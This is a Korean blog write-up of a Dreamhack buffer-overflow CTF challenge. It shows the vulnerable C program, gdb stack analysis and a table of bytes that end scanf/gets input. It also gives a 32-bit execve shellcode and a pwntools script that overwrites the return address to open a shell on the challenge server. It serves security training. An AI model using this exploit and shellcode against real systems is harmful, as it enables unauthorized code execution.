싫어하는 pwnable 문제를 손대보려고 한다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
제공되는 문제 소스, 다른 Buffer Overflow 문제처럼 scanf의 취약점을 활용해서 문제를 풀면 될 것으로 보인다.
대충 딱봤을 때에는 0x80+a 만큼 넣으면 Buffer Overflow가 일어날 것 처럼 보인다.
바이너리를 제공해주므로 gdb로 한번 열어보자!
칼리 리눅스에다 집어넣고 실행해봤다. 예상대로 0x80만큼 buf를 할당한다.
실행을 시키고 스택에 어떻게 할당하는지 알아보자
gdb 에서 <<< 를 통해 user input을 넘겨줄 수 있다.
Architecture에서 i386이니까 32비트 프로그램인걸 알 수 있는데 그러면 buf가 0x80이고
SFP, RET이 4바이트씩 할당될 것이다.
RET 주소가 변조되어 0x43434343으로 이동했다. buf에 쉘코드를 집어넣고
RET을 buf의 주소로 변조하면 쉘 획득할 수 있을 것이다.
분석은 끝냈으니 실전으로 들어가보자!
함수 | 입력 종료하는 값 |
scanf | \x09, \x0a, \x0b, \x0c, \x0d, \x20 // 이 값들은 입력되지 않음 // ex) "abcd\0x09" -> "abcd" |
gets | \x0a // 이 값은 변수에 들어가지 않음 // ex) "abcd\x0a" -> "abcd" |
fgets | \x0a |
read | \x0a |
위와 같은 이슈가 있으니 꼭 확인하자.
쉘 코드에 해당 값이 있다면 사용이 불가능하다!
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
26바이트짜리 쉘 코드이다. 눈에 띄어서 가져왔고, 바로 pwntools를 이용해 공격해보자!
코드는 아래와 같이 짰다.
from pwn import *
p = remote("host1.dreamhack.games", 24050)
p.recvuntil("buf = (")
buf = int(p.recv(10), 16)
payload = b'\x90' * 32
payload += b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += b'\x90' * 70 + b'AAAA'
payload += p32(buf)
p.sendline(payload)
p.interactive()
클리어!
'CTF > Dreamhack.io' 카테고리의 다른 글
[Web] command-injection-1 (0) | 2022.01.21 |
---|---|
[Web] image-storage (0) | 2022.01.21 |
[pwnable] basic_exploitation_003 (0) | 2022.01.19 |
[pwnable] basic_exploitation_002 (0) | 2022.01.18 |
[pwnable] basic_exploitation_001 (0) | 2022.01.16 |